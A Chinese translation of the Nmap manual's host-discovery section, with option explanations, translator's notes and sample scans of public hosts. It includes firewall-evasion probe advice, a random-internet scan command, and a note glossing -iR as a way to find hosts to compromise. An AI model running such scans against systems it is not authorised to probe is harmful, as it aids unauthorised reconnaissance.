KALI LINUX 工具大全之信息收集、漏洞分析、漏洞利用、后期利用、报告生成、密码攻击---nmap(网络映射器)、NSE(nmap脚本引擎)、Zenmap(禅nmap)、Ncat(nmap猫)、Ndiff(nmap不同)、Nping(nmap ping)、ncrack(nmap破解 )因为信息量实在太大所以持续更新。。。
专注于主机发现和端口扫描的通用可扩展主动信息收集扫描器
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.029s latency).
rDNS record for 74.207.244.221: li86-221.members.linode.com
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)
|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
|_http-title: Go ahead and ScanMe!
646/tcp filtered ldp
1720/tcp filtered H.323/Q.931
9929/tcp open nping-echo Nping echo
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.39
OS details: Linux 2.6.39
Network Distance: 11 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
[Cut first 10 hops for brevity]
11 17.65 ms li86-221.members.linode.com (74.207.244.221)
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
nmap -sUV -T4 -F --version-intensity 0 scanme.nmap.org
Nmap (“Network Mapper” “网络映射器”)是一个用于网络探测和安全审计的开源免费工具。 虽然可以很好地应对单机, 但它为快速扫描大型网络而设计。Nmap以新颖的方式使用原始IP数据包来确定网络上可用什么主机,这些主机提供什么服务(服务应用程序名称和版本),它们正在运行什么操作系统(和OS版本),正在使用什么类型的包过滤器/防火墙,以及其他数十种特征。虽然Nmap通常用于安全审计,但许多系统和网络管理员发现它对于例程任务很有用,例如网络资产,管理服务升级计划以及监视主机或服务正常运行时间。除了经典的命令行Nmap可执行文件,Nmap套件还包括一个先进的GUI和结果查看器(Zenmap),一个灵活的数据传输、重定向和调试工具(Ncat),一个用于比较扫描结果的工具(Ndiff),以及一个数据包生成和响应分析工具(Nping)(译者注:还有一个类似winpcap的npcap,我不确定是不是包含在套件内)。Nmap被Linux Journal、Info World、LinuxQuestions.Org和Codetalker Digest评为 "年度最佳安全产品"。它甚至在12部电影中出现过,包括《黑客帝国重装上阵》、《虎胆龙威4》、《龙纹身的女孩》和《谍影重重3》。
Nmap的输出是扫描目标的列表,并且每个目标都有补充信息,具体取决于所使用的选项。该信息中的关键是“兴趣端口表”。该表列举了端口号和tcp/udp协议,服务名和开关状态。状态为打开、过滤、关闭或未过滤。打开表示目标计算机上的应用程序正在侦听该端口上的连接/数据包。过滤表示防火墙,过滤器或其他网络障碍阻止了该端口,因此Nmap无法判断它是打开还是关闭。关闭的端口没有应用程序在监听它们,尽管它们可以随时打开。当端口响应Nmap的探测时,端口被分类为未过滤,但是Nmap无法确定它们是打开还是关闭。当无法确定两种状态中的哪个描述端口时,Nmap报告open|filtered.和closed|filtered.的状态组合。当请求版本检测时,端口表还可以包括软件版本详细信息。当请求IP协议扫描(-sO)时,Nmap提供有关支持的IP协议的信息,而不是侦听端口。
除了兴趣的端口表之外,Nmap还可以提供有关目标的更多信息,包括反向DNS名称,操作系统猜测,设备类型和MAC地址。
可以从https://nmap.org获得Nmap的最新版本。 该手册页的最新版本可在https://nmap.org/book/man.html上获得。 它还包含在《 Nmap网络扫描:网络发现和安全扫描的官方Nmap项目指南》的一章中(请参阅https://nmap.org/book/)。
作者:Gordon Fyodor Lyon http://fyodor.org
联系:https://twitter.com/nmap、https://facebook.com/nmap、https://nmap.org/shared/images/nst-icons.svg#reddit
官网 https://nmap.org/
平台:因为开源,几乎是全平台支持。Linux、Windows和Mac OS X(也有非官方的安卓版本)
源码:https://gitlab.com/kalilinux/packages/nmap、svn.nmap.org/、https://github.com/nmap/nmap
下载:https://nmap.org/download.html
文档:https://nmap.org/docs.html、https://nmap.org/book/toc.html、https://secwiki.org/、man手册、命令行帮助、第三方文档
相关网站:https://insecure.org/、https://sectools.org/、https://seclists.org/、https://npcap.com/
Insecure.org
版本: 7.92
许可证:开源免费的。Nmap是在一个定制的许可证下发布的,它基于(但不兼容)GPLv2。Nmap许可证允许最终用户免费使用,我们也为希望将Nmap技术与他们的产品重新分配的公司提供商业许可证。完整的细节见Nmap版权和许可。我们也希望在其产品中重新发布Nmap技术的公司提供商业许可。(译者注:所谓的重发布产品比如h3c的鹰视产品可能包含有nmap,虽然没有公布开源许可证,鹰视系统简单来讲就是基于web的nmap服务器)
界面:CLI、GUI、web
优点:
灵活。支持几十种高级技术来绘制充满IP过滤器、防火墙、路由器和其他障碍物的网络。这包括许多端口扫描机制(包括TCP和UDP),操作系统检测、版本检测、ping 扫描等。见文档页面。
强大。Nmap已经被用来扫描成百上千台机器的巨大网络。
语法
nmap [扫描类型] [选项] {目标说明}
选项摘要
当不带参数运行Nmap时,将打印此选项摘要,并且始终可以在https://svn.nmap.org/nmap/docs/nmap.usage.txt上获得最新版本用法。 它可以帮助人们记住最常见的选项,但不能代替本手册其他部分的深入说明。有些晦涩难懂的选项甚至不包括在这里。
目标说明:
可以传递主机名、IP地址、网络等。
例如:scanme.nmap.org, microsoft.com/24, 192.168.0.1;10.0.0-255.1-254
-iL <输入文件名> 从主机/网络列表文件输入。
从输入文件名读取目标规范。 在命令行上传递大量主机通常很尴尬,但这是一个普遍的愿望。 例如,您的DHCP服务器可能会导出您希望扫描的10,000个当前租约的列表。 或者你想扫描除此租约之外的所有IP地址,以定位使用未经授权的静态IP地址的主机。 只需生成要扫描的主机列表,然后将该文件名作为-iL选项的参数传递给Nmap。 条目可以采用Nmap在命令行上接受的任何格式(IP地址,主机名,CIDR,IPv6或八位位组范围)。 每个条目必须由一个或多个空格,制表符或换行符分隔。 如果希望Nmap从标准输入而不是实际文件读取主机,则可以指定连字符(-)作为文件名。输入文件可能包含以#开头并延伸到行尾的注释。
主机输入选项支持用作Nmap的其余部分。用户经常把input-from-list (-iL)选项和-Pn结合起来,以避免对已知在运行的主机进行ping扫描。这样做以节省时间之前,请阅读 "禁用Ping (-Pn) "部分。
-iR <主机数> 选择随机目标(译者注:用于抓鸡)
iR选项从分配的互联网IP空间中随机选择主机。它的参数是你希望扫描的随机主机的数量。 对于互联网调研,您可能希望随机选择目标。 <主机数>参数告诉Nmap生成多少个IP。 如某些私有、多播或未分配地址范围的不需要的IP会自动跳过。参数0可以被指定为永不结束的扫描(直到您中止或杀死Nmap进程)。 请记住,一些网络管理员对未经授权的网络扫描很反感,可能会举报。在使用-iR之前,请仔细阅读名为 "法律问题 "的章节。后果自负! 如果你发现自己在一个下雨的下午真的很无聊,尝试命令nmap -Pn -sS -p 80 -iR 0 --open 找到随机的web服务器进行浏览。
--exclude <host1[,host2][,host3],..>: 排除主机/网络
有一些机器在任何情况下你都不想扫描,这很常见。机器可能是如此关键,以至于您不愿意冒任何不良反应的风险。即使Nmap扫描与之无关,您也可能因为一个偶然的故障而受到指责。
或者也许您有已知在扫描时崩溃的传统硬件,但您还没有能力修复或替换它。
或者也许某些IP范围代表您没有授权扫描的子公司、客户或合作伙伴。顾问通常不希望他们自己的机器包括在对客户网络的扫描中。
(译者注:上文来自主机发现章节,但是在参考文档中的翻译是,”“当你想扫描的网络包括不可触及的关键任务服务器、已知对端口扫描有不良反应的系统,或由其他人管理的子网时,这可能很有用。” 显然是是错的)
不管是什么原因,你可以用 --exclude 选项排除主机或整个网络。只需用正常的Nmap语法把排除的目标和网块的逗号分隔的列表交给该选项。(译者注:在参考指南中表示的为,即使排除它们是您指定的整个网络范围的一部分,也要指定一个以逗号分隔的目标列表以便从扫描中排除。您传入的列表使用普通的Nmap语法,因此它可以包括主机名,CIDR网段,八位位组范围等。)或者,您可以创建一个排除主机/网络的文件,用 --excludefile选项把它传给Nmap。--exclude选项不与使用逗号的IP范围混合 (192.168.0.10,20,30),因为--exclude本身使用逗号。在这些情况下,使用--excludefile。
--excludefile <exclude_file>:排除列表文件
这提供了与--exclude选项相同的功能,只是被排除的目标在换行符、空格或制表符分隔的exclude_文件中提供,而不是在命令行中提供。 排除文件可能包含以#开头并延伸到该行末尾的注释。
主机发现:
任何网络侦察任务的第一步是将一组(有时是大量)IP范围减少到一个存活或感兴趣的主机列表。 扫描每个IP地址的每个端口都很慢并且通常是不必要的。 当然,使主机变得感兴趣的原因很大程度上取决于扫描目的。 网络管理员可能只对运行某种服务的主机感兴趣,而安全审计员可能会关心每个具有IP地址的设备。管理员可能自在地只需使用ICMP ping来定位其内部网络中的主机,而外部渗透测试人员可能会使用数十种多样探针试图逃避防火墙的限制。
由于主机发现的需求如此多样,Nmap提供了各种各样的选项来定制所用的技术。主机发现有时被称为ping扫描,但它远远超出了与无处不在的ping工具相关的简单ICMP echo 请求包。 用户可以通过列举扫描(-sL)或禁用ping(-PN)完全跳过ping的步骤,或者用多端口TCP SYN/ACK、UDP、SCTP INIT和ICMP探测的任意组合参与进网络。这些探针的目的是寻求回应,以证明一个IP地址实际上是活跃的(正在被一台主机或网络设备使用)。 在许多网络上,在任何给定时间只有一小部分IP地址处于活动状态。 这对于私有地址空间(例如10.0.0.0/8)尤其常见。 该网络具有1600万个IP,但是我看到它被少于一千台计算机的公司所使用。 主机发现可以在稀疏分配的IP地址中找到那些机器。
如果未提供主机发现选项,则Nmap将发送一个ICMP回显请求,一个TCP SYN数据包到端口443,和TCP ACK数据包到端口80和一个ICMP时间戳请求。 (对于IPv6,将忽略ICMP时间戳记请求,因为它不属于ICMPv6。)这些默认值等效于-PE -PS443 -PA80 -PP选项。例外情况是,ARP扫描用于本地以太网中的任何目标。对于非特权Unix shell用户,默认探测是使用connect系统调用将SYN数据包发送到端口80和443。 在扫描本地网络时,这种主机发现通常是足够的,但对于安全审计,建议使用一套更全面的发现探针。
可以组合使用-P *选项(用于选择ping类型)。你可以通过使用不同的TCP端口/标志和ICMP代码发送许多探针类型来增加你穿透严格防火墙的几率。还请注意,即使你指定了其他的-P*选项,ARP发现(-PR)也会默认针对本地以太网上的目标进行,因为它几乎总是更快、更有效。
默认情况下,Nmap会进行主机发现,然后对它确定在线的每个主机执行端口扫描。 即使您指定了非默认主机发现类型(例如UDP探针(-PU)),也是如此。 阅读有关-sn(译者注:之前版本是-sP)选项的信息,以了解如何仅执行主机发现,或使用-Pn(译者注:之前版本是-PN)跳过主机发现并且端口扫描所有目标地址。
默认情况下,除非指定
-sn
或-sL
指定,否则 Nmap 在主机发现阶段之后会进行更具侵入性的扫描。因此许多通用端口扫描、操作系统检测和版本检测选项会被使用。有关详细信息,请参阅参考指南或相关章节。以下选项控制主机发现:
-sL: 列举扫描-简单列举要扫描的目标
列表扫描是一种退化的主机发现形式,它只是列举指定网络的每台主机,而不向目标主机发送任何数据包。 默认情况下,Nmap仍然在主机上进行反向DNS解析以了解其名称。简单的主机名提供的有用信息往往令人惊讶。例如fw.chi是一家在芝加哥公司的防火墙名称。
在结尾的Nmap还会报告IP地址总数。 列举扫描是一个很好的理智检查,以确保您有适合目标的IP地址。 如果主机使用您不认识的域名,则值得进一步调查以防止扫描错误的公司网络。
有许多原因导致目标IP范围不正确。即使是网络管理员也会错误地输入他们自己的网块,而渗透者更要小心。在某些情况下,安全顾问会得到错误的地址。在其他情况下,他们试图通过whois数据库和路由表等资源找到合适的IP范围。这些数据库可能已经过时,或者公司可能将IP空间借给了其他组织。是否扫描公司的母公司、兄弟姐妹、服务提供商和子公司是一个重要的问题,应事先与客户商定。初步的列出扫描有助于确认到底有哪些目标被扫描。
提前进行列出扫描的另一个原因是隐蔽性。在某些情况下,你不想一开始就对目标网络进行全面攻击,因为这很可能会触发IDS警报并带来不必要的关注。列表扫描是不引人注意的,它提供的信息可能对选择哪台机器作为目标很有用。虽然极不可能,但目标会注意到所有的反向DNS请求。当这是一个问题时,你可以使用--dns-servers选项跳过匿名的递归DNS服务器,如 "DNS代理 "一节所述。
用-sL命令行选项指定一个列表扫描。 由于此意图只是打印目标主机的列表,因此不能将用于更高级别功能(例如端口扫描,操作系统检测或主机发现)的选项与此结合。 如果希望在仍执行此类高级功能的同时禁用主机发现,请阅读-Pn(跳过主机发现)选项。显示了列举扫描被用来列举斯坦福大学主网络服务器周围的CIDR /28网络范围(16个IP地址)。
用列举扫描枚举www.stanford.edu 周围的主机
felix~>nmap -sL www.stanford.edu/28
Starting Nmap ( http://nmap.org ) Host www9.Stanford.EDU (171.67.16.80) not scanned Host www10.Stanford.EDU (171.67.16.81) not scanned Host scriptorium.Stanford.EDU (171.67.16.82) not scanned Host coursework-a.Stanford.EDU (171.67.16.83) not scanned Host coursework-e.Stanford.EDU (171.67.16.84) not scanned Host www3.Stanford.EDU (171.67.16.85) not scanned Host leland-dev.Stanford.EDU (171.67.16.86) not scanned Host coursework-preprod.Stanford.EDU (171.67.16.87) not scanned Host stanfordwho-dev.Stanford.EDU (171.67.16.88) not scanned Host workgroup-dev.Stanford.EDU (171.67.16.89) not scanned Host courseworkbeta.Stanford.EDU (171.67.16.90) not scanned Host www4.Stanford.EDU (171.67.16.91) not scanned Host coursework-i.Stanford.EDU (171.67.16.92) not scanned Host leland2.Stanford.EDU (171.67.16.93) not scanned Host coursework-j.Stanford.EDU (171.67.16.94) not scanned Host 171.67.16.95 not scanned Nmap done: 16 IP addresses (0 hosts up) scanned in 0.38 seconds-sn: Ping扫描-禁用端口扫描,仅仅是确定主机是否在线
此选项告诉Nmap在主机发现之后不要执行端口扫描,并且仅打印出响应主机发现探针的可用主机。 这通常称为“ ping扫描”,但是您也可以请求运行traceroute和NSE主机脚本。 默认情况下这是比列举扫描更具侵入性的一步,通常可以用于相同的目的。 它允许在不引起太多注意的情况下对目标网络进行轻度侦察。对攻击者来说,知道有多少主机在运行,比通过列举扫描每个IP和主机名提供的列表更有价值。
系统管理员经常发现此选项也很有价值。 它可以轻松地用于计算网络上的可用计算机或监视服务器的可用性。 这通常称为ping扫描,并且比ping广播地址更可靠,因为许多主机不回复广播查询。
例3.7显示了对我最喜欢的网站之一Linux Weekly News周围的CIDR /24(256个IP)的快速PING扫描。
例3.7. 用ping扫描发现www.lwn.net 周围的主机
#nmap -sn -T4 www.lwn.net/24
Starting Nmap ( http://nmap.org ) Host 66.216.68.0 seems to be a subnet broadcast address (returned 1 extra ping) Host 66.216.68.1 appears to be up. Host 66.216.68.2 appears to be up. Host 66.216.68.3 appears to be up. Host server1.camnetsec.com (66.216.68.10) appears to be up. Host akqa.com (66.216.68.15) appears to be up. Host asria.org (66.216.68.18) appears to be up. Host webcubic.net (66.216.68.19) appears to be up. Host dizzy.yellowdog.com (66.216.68.22) appears to be up. Host www.outdoorwire.com (66.216.68.23) appears to be up. Host www.inspectorhosting.com (66.216.68.24) appears to be up. Host jwebmedia.com (66.216.68.25) appears to be up. [...] Host rs.lwn.net (66.216.68.48) appears to be up. Host 66.216.68.52 appears to be up. Host cuttlefish.laughingsquid.net (66.216.68.53) appears to be up. [...] Nmap done: 256 IP addresses (105 hosts up) scanned in 12.69 seconds这个例子只花了13秒,但提供了宝贵的信息。在这个C类大小的地址范围内,有105台主机在线。从不相关的域名都挤在这么小的IP空间里,很明显,LWN使用的是主机托管或专用服务器供应商。如果LWN的机器被证明是高度安全的,攻击者可能会去找这些邻居的机器,然后用Ettercap或Dsniff等工具进行本地以太网攻击。合乎道德的使用这些数据将会是一个网络管理员考虑移动机器到这个供应商。在签署长期合同或者进行昂贵且具有破坏性的数据中心迁移之前,他可能会给一些列出的组织发电子邮件,询问他们对这项服务的意见。
默认情况下,-sn选项会发送一个ICMP echo请求、一个TCP SYN包到443端口、一个TCP ACK包到80端口,以及一个ICMP时间戳请求。 由于没有特权的Unix用户(或没有安装Npcap的Windows用户)不能发送这些原始数据包,在这些情况下仅SYN数据包(使用tcp connect 系统调用)发送到目标上的端口80和443。 当特权用户尝试扫描本地以太网上的目标时,除非指定了--send-ip,否则将使用ARP请求(-PR)。 -sn选项可以与 "主机发现技术 "一节中讨论的任何发现探针类型(-P *选项,不包括-PN)组合使用,以提高灵活性。 如果使用这些探针类型和端口号选项中的任何一个,则默认探针将被覆盖。 如果在运行Nmap的源主机和目标网络之间设置了严格的防火墙,则建议使用这些高级技术。 否则,当防火墙丢弃探针或其响应时,可能会错过主机。
在Nmap的早期版本中,-sn被称为-sP。
-Pn
完全跳过主机发现阶段,将所有主机都视为在线。
告诉 Nmap 跳过 ping 测试并简单地扫描提供的每个目标主机。通常,Nmap用这个阶段来确定活动机器以进行更多的扫描,并衡量网络的速度。默认情况下,Nmap只对被发现的主机进行重度探测,如端口扫描、版本检测或操作系统检测。用-Pn禁用主机发现会使Nmap对每个指定的目标IP地址尝试所要求的扫描功能。所以如果在命令行上指定一个/16大小的网络,所有65,536个IP地址都被扫描。与列举扫描一样,将跳过循规蹈矩的主机发现,但Nmap没有停止并打印目标列表,而是继续执行请求的功能,就像每个目标IP都是活动的一样。 使用默认的定时参数,这可能会导致扫描速度变慢。 要跳过主机发现和端口扫描,同时仍然允许NSE运行,请同时使用两个选项-Pn -sn。
对于本地以太网上的计算机,将继续执行ARP扫描(除非指定了--disable-arp-ping或--send-ip),因为Nmap需要MAC地址来进一步扫描目标主机。 在早期版本的Nmap中,-Pn是-P0和-PN。这个选项标志曾经是P0(使用零),但被重新命名,以避免与协议ping的PO(使用字母O)标志相混淆。
禁用Nmap ping测试有很多原因。最常见的一个是入侵性漏洞评估。一个人可以指定几十个不同的ping测试,试图从所有可用的主机中获得响应,但是仍然有可能一个活跃但有严重防火墙的机器不回复任何这些测试。因此,为了避免遗漏任何东西,审计人员经常对目标网络上的每个IP进行密集扫描,如所有65,536个TCP端口。向可能没有主机监听的IP地址发送几十万个数据包看起来很浪费,而且会使扫描时间慢一个数量级或更多。Nmap必须向每个端口发送重传,以防原始探针在传输过程中被丢弃,而且Nmap必须花大量时间等待响应,因为它对这些没有响应的IP地址没有往返时间(RTT)估计。但是认真的渗透测试者愿意付出这个代价来避免错过活动机器的哪怕一点点风险。他们也可以随时进行快速扫描,当他们工作时让大规模的-Pn扫描在后台运行。第6章,优化Nmap性能提供更多性能调整建议。
使用-Pn的另一个常见原因是测试人员有一个已知up的机器列表。所以用户认为没有必要在主机发现阶段浪费时间。用户创建他们自己的活动主机列表,然后用-iL (从列表中获取输入)选项把它传给Nmap。从节省时间的角度看,这个策略很少有好处。由于前一段讨论的重传和RTT估计问题,在一个大的列表中,即使是一个没有反应的IP地址,也常常比整个ping扫描阶段花费更多时间。此外,ping阶段允许Nmap收集RTT样本,可以加速下面的端口扫描,特别是如果目标主机有严格的防火墙规则。虽然指定-Pn作为一个节省时间的方法很少有帮助,但如果您名单上的一些机器阻止了所有的发现技术,它就很重要。用户必须在扫描速度和可能遗漏严重隐身的机器之间取得平衡。
-PS/PA/PU/PY[portlist]: 对指定端口进行TCP SYN / ACK,UDP或SCTP主机发现
-PS port list(TCP SYN Ping)
-PS选项发送一个设置了SYN标志的空TCP数据包。默认的目标端口是80(可在编译时通过改变nmap.h中的DEFAULT_TCP_PROBE_PORT_SPEC来配置),也可以将其他端口作为参数指定。可以指定一个端口列表,语法与-p相同,只是不允许使用T:这样的端口类型指定符。例子是-PS22和-PS22-25,80,113,1050,35000。注意,在-PS和端口列表之间不能有空格。指定了多个探针,它们将被并行发送。
SYN标志向远端系统提议您正在尝试建立连接。 正常情况下,目标端口关闭,然后发送回RST(复位)数据包。 如果端口恰好是开放的,则目标将通过响应SYN / ACK TCP数据包来执行TCP三向握手的第二步。 然后,运行Nmap的机器通过响应一个RST而不是发送一个ACK包来断开这个新连接,后者ack会完成三方握手并建立一个完整的连接。 RST数据包由运行Nmap的计算机的内核发送,以响应意外的SYN / ACK,而不是由Nmap本身发送。
Nmap不关心端口是开放还是关闭。前面讨论的RST或SYN/ACK响应都告诉Nmap该主机是可用的和有反应的。(译者注:因为是主机发现阶段主要知道存活就好)
在Unix机器上(译者注:boxes翻译为机更准确),通常只有特权用户root才能发送和接收原始TCP数据包。 对于非特权用户,会自动采用一种变通方法,即针对每个目标端口启动connect系统调用。这具有向目标主机发送SYN数据包的效果,以试图建立一个连接。 如果连接返回quick success 或ECONNREFUSED失败,则底层TCP栈一定是收到了SYN/ACK或RST,并且该主机被标记为可用。 如果连接尝试一直挂起直到超时,主机将标记为关闭。
例3.8未能检测到六台机器中的四台,因为它们没有对ICMP请求做出响应。使用SYN探针到80端口(HTTP)重复该实验,可以得到所有六台机器的响应,如例3.9所示。
例 3.9。使用端口 80 SYN 探测重试主机发现
#nmap -sn -PS80 -R -v microsoft.com ebay.com citibank.com google.com \ slashdot.org yahoo.com
Starting Nmap ( http://nmap.org ) Host origin2.microsoft.com (207.46.249.252) appears to be up. Host pages.ebay.com (66.135.192.87) appears to be up. Host ld1-www.citicorp.com (192.193.195.132) appears to be up. Host 216.239.57.99 appears to be up. Host slashdot.org (66.35.250.150) appears to be up. Host w3.rc.dcn.yahoo.com (216.109.127.30) appears to be up. Nmap done: 6 IP addresses (6 hosts up) scanned in 0.48 seconds除了检测到所有六台机器外,第二次运行的速度也快得多。它花费的时间不到半秒,因为这些机器是并行扫描的,而且扫描不会因为等待响应而超时。这个测试并不完全公平,因为这些都是流行的web服务器,因此可以预期它们会在TCP 80端口上监听。然而,它仍然证明了不同类型的主机响应不同的探测类型这一点。Nmap支持多种扫描类型并行使用,以便有效扫描不同的网络。
-PA port list(TCP ACK Ping)
TCP ACK ping与刚刚讨论的SYN ping非常相似。 您可能会猜到的区别是,设置了TCP ACK标志而不是SYN标志。 这样的ACK数据包声称是确认已建立的TCP连接上的数据,但实际上并不存在这样的连接。因此,远程主机应该总是响应一个RST包,揭示它们在进程中的存在。
-PA选项使用与SYN探针(80)相同的默认端口,并且还可以采用相同格式的目标端口列表。 如果非特权用户尝试此操作,则使用前面讨论的连接解决方法。 此解决方法是不完善的,因为connect实际上发送的是SYN数据包而不是ACK。
提供SYN和ACK ping探针的原因是为了最大程度地绕过防火墙。 许多管理员将路由器和其他简单的防火墙配置为阻止传入SYN数据包,除了那些发送给公共服务的数据包,如公司网站或邮件服务器。这可以防止其他传入连接到组织,同时允许用户进行无障碍的传出连接到互联网。 这种无状态方法占用了防火墙/路由器上的很少资源,并且得到了硬件和软件过滤器的广泛支持。作为这种方法流行的一个例子, Linux Netfilter/iptables.防火墙软件提供了方便的--syn选项来实现这种无状态的方法,手册页如下所述。
只匹配设置了 SYN 位的 TCP 数据包,并且清除 ACK 和 RST 位。这样的数据包用于请求 TCP 连接初始化; 例如,阻止这样的数据包进入接口将阻止传入的 TCP 连接,但是传出的 TCP 连接将不受影响。它等价于--tcp-flags SYN,RST,ACK SYN
当存在这样的无状态防火墙规则时,SYN ping探测(-PS)很可能在发送到关闭的目标端口时被阻断。 在这种情况下,ACK探针会大放异彩,因为它能直接穿过这些规则。
另一种常见类型的防火墙使用有状态规则,丢弃意外的数据包。这个特性最初主要是在高端防火墙上的,不过多年来已经变得越来越普遍。 Linux Netfilter / iptables系统通过--state选项支持此功能,该选项根据连接状态对数据包进行分类,如下面的man page摘录所述。
可能的状态有:INVALID,意思是数据包没有与已知的连接相关联;ESTABLISHED,意思是数据包与一个已经看到双向数据包的连接相关联;NEW,意思是数据包已经开始一个新的连接,或者与一个没有看到双向数据包的连接相关联;RELATED,意思是数据包正在开始一个新的连接,但是与一个现有的连接相关,比如一个FTP数据传输,或者一个ICMP错误。
ACK探针不太可能对采取这种方法的防火墙起作用,因为这种意外的数据包会被归类为无效状态,并可能被丢弃。例3.10显示了一个针对微软的尝试性ACK ping。他们的有状态防火墙丢弃了数据包,导致Nmap错误地认为该主机已经停机。SYN探测在这种情况下工作的机会要大得多。这就提出了一个问题,当目标网络的防火墙规则未知或不一致时,使用哪种技术。正确的答案通常是两者都用。Nmap可以同时向许多端口发送SYN和ACK探测,并同时执行其它主机发现技术。SYN探测更有可能针对这样的系统,因为意外的ACK包通常会被识别为伪造并丢弃。 解决这个难题的方法是通过指定-PS和-PA来同时发送SYN和ACK探针。这一点将在名为“把所有东西放在一起: 主机发现策略”的章节中进一步讨论。
例3.10. 尝试对微软进行ACK ping
#nmap -sn -PA www.microsoft.com
Starting Nmap ( http://nmap.org ) Warning: Hostname www.microsoft.com resolves to 5 IPs. Using 207.46.192.254. Note: Host seems down. If it is really up, but blocking ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 2.22 seconds-PU port list(UDP Ping)
另一个主机发现选项是UDP Ping,它将UDP数据包发送到给定的端口。对于大多数端口来说,数据包是空的,但对于一些常见的端口,如 53 和 161,将发送特定协议的有效载荷,更有可能得到响应。 有效负载数据库在https://nmap.org/book/nmap-payloads.html中进行了描述,请参阅名为“UDP 有效负载:
nmap-payloads
”的部分。参见文件payload.cc到底哪些端口有有效负载。数据包的内容也可能受--data,--data-string和--data-length选项的影响。--data-length选项为所有端口发送固定长度的随机负载。
端口列表采用与前面讨论的-PS和-PA选项相同的格式。 如果未指定任何端口,则默认值为40125。可以在编译时通过更改nmap.h中的DEFAULT_UDP_PROBE_PORT_SPEC来配置此默认值。默认情况下使用一个非常不常见的端口,因为对于这种特殊的扫描类型,发送到开放端口通常是不可取的。(译者注:因为在主机发现阶段开放udp端口收到错误数据包不会响应,关闭端口收到后会回应icmp不可达)
在命中目标机器上的一个关闭的端口时,UDP探针应该引出一个ICMP端口不可达的数据包作为返回。这向Nmap表示机器已启动并且可用。 许多其他类型的ICMP错误,例如主机/网络不可达或TTL溢出的,都指示主机已关闭或不可达。 缺乏回应也可以这样解释。如果到达了一个开放的端口,大多数服务简单地忽略空数据包,并不能返回任何响应。 这就是为什么默认探针端口为40125的原因,它不太可能被使用。 诸如字符生成器(chargen)协议之类的一些服务将响应一个空的UDP数据包,从而向Nmap透露该机器是可用的。对于拥有它们的端口,自定义有效负载使探测更有可能得到响应。
这种扫描类型的主要优点是,它绕过了防火墙并且仅过滤TCP的过滤器。 例如,我曾经拥有一个Linksys BEFW11S4无线宽带路由器。 默认情况下,该设备的外部接口过滤了所有TCP端口,但是UDP探针仍会引发端口不可达消息,从而暴露该设备。
-PY port list(SCTP初始化Ping)
此选项发送包含最小INIT块的SCTP数据包。 默认目标端口为80(可在编译时通过更改nmap.h中的DEFAULT_SCTP_PROBE_PORT_SPEC进行配置)。 可以将备用端口指定为参数。 语法与-p相同,不同之处在于不允许使用端口类型说明符,例如S:。 例如-PY22和-PY22,80,179,5060。 请注意,-PY和端口列表之间不能有空格。 如果指定了多个探针,则将并行发送。
INIT块向远端系统提议正在尝试建立关联。 通常,目标端口关闭并且ABORT块将被发回。 如果端口恰好是开放的,则目标将通过响应INIT-ACK块来执行SCTP四次握手的第二步。 如果运行Nmap的计算机具有正常的SCTP栈,则它将通过使用ABORT块来进行响应来断开新的关联而不是四次握手的下一步发送COOKIE-ECHO块。 ABORT数据包是由运行Nmap的计算机的内核发送的,以响应意外的INIT-ACK,而不是由Nmap本身发送的。
Nmap不在乎端口是打开还是关闭。 前面讨论的ABORT响应或INIT-ACK响应都告诉Nmap主机可用并且响应。
在Unix机器上,通常只有特权用户root才能发送和接收原始SCTP数据包。 当前,非特权用户无法使用SCTP INIT Pings。
-PE/PP/PM: ICMP Ping 类型----发送ICMP回显,时间戳和网络掩码请求的主机发现探针
除了前面讨论过的不常见的TCP、UDP和SCTP主机发现类型之外,Nmap还可以发送由无处不在的ping程序发送的标准数据包。 Nmap向目标IP地址发送ICMP类型8(回显请求)数据包,期望从可用主机返回的类型为0(回显应答)。 不幸的是,对于网络探测器而言,许多主机和防火墙现在阻止了这些数据包,而不是按照RFC 1122 [2]标准的要求进行响应。(译者注:广泛过滤icmp echo数据包的原因被滥用) 因此,仅针对ICMP的扫描对Internet上未知目标的可靠性极低。 但是对于系统管理员监视内部网络而言,它们可以是一种实用且有效的方法。 使用-PE选项启用此回显请求行为。
虽然回显请求是标准的ICMP ping查询,但Nmap不会在那里停止。 ICMP标准(RFC 792 [3]和RFC 950 [4])还将时间戳请求,信息请求和地址掩码请求数据包分别指定为代码13、15和17。 尽管这些查询的表面目的是学习诸如地址掩码和当前时间之类的信息,但它们可以轻松地用于主机发现。 可以回复的系统是已up并且可用。 Nmap当前未实现信息请求包,因为它们并未得到广泛支持。 RFC 1122坚持“主机不应该实现这些消息”。 可以分别使用-PP和-PM选项发送时间戳和地址掩码查询。 时间戳回复(ICMP代码14)或地址掩码回复(代码18)表明主机可用。 当管理员专门阻止回显请求数据包而忘记其他ICMP查询可用于相同目的时,这两个查询可能非常有用。
-PO[protocol list]: IP协议Ping
IP协议ping是较新的主机发现选项之一,它发送IP数据包,该IP数据包在其IP标头中设置了指定的协议号。 协议列表采用与前面讨论的TCP,UDP和SCTP主机发现选项中的端口列表相同的格式。 如果未指定协议,则默认为发送多个IP数据包用于ICMP(协议1),IGMP(协议2)和IP-in-IP(协议4)。 可以在编译时通过更改nmap.h中的DEFAULT_PROTO_PROBE_PORT_SPEC来配置默认协议。 请注意,对于ICMP,IGMP,TCP(协议6),UDP(协议17)和SCTP(协议132),将使用适当的协议标头发送数据包,而发送其他协议时,除了IP标头之外,不会再有其他数据(除非 指定了--data,-data-string或--data-length选项中的任何一个)。
该主机发现方法使用与探针相同的协议来查找响应,或者使用ICMP协议不可达消息来表明目标主机不支持该给定协议。 两种类型的响应都表明目标主机处于活动状态。
ARP 扫描 (
-PR
